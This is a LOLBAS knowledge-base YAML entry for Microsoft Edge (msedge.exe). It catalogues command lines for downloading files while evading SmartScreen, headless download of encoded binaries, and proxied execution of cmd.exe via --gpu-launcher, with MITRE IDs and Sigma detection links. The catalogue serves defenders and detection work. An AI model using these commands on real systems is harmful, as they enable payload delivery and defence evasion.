LOLBAS/yml/OSBinaries/Msedge.yml

---
Name: Msedge.exe
Description: Microsoft Edge browser
Author: mr.d0x
Created: 2022-01-20
Commands:
  - Command: msedge.exe https://example.com/file.exe.txt
    Description: Edge will launch and download the file. A harmless file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.
    Usecase: Download file from the internet
    Category: Download
    Privileges: User
    MitreID: T1105
    OperatingSystem: Windows 10, Windows 11
  - Command: msedge.exe --headless --enable-logging --disable-gpu --dump-dom "http://example.com/evil.b64.html" > out.b64
    Description: Edge will silently download the file. File extension should be .html and binaries should be encoded.
    Usecase: Download file from the internet
    Category: Download
    Privileges: User
    MitreID: T1105
    OperatingSystem: Windows 10, Windows 11
  - Command: msedge.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c ping google.com &&"
    Description: Edge spawns cmd.exe as a child process of msedge.exe and executes the ping command
    Usecase: Executes a process under a trusted Microsoft signed binary
    Category: Execute
    Privileges: User
    MitreID: T1218
    OperatingSystem: Windows 10, Windows 11
Full_Path:
  - Path: c:\Program Files\Microsoft\Edge\Application\msedge.exe
  - Path: c:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_msedge_arbitrary_download.yml
  - Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_file_download.yml
Resources:
  - Link: https://twitter.com/mrd0x/status/1478116126005641220
  - Link: https://twitter.com/mrd0x/status/1478234484881436672
Acknowledgement:
  - Person: mr.d0x
    Handle: '@mrd0x'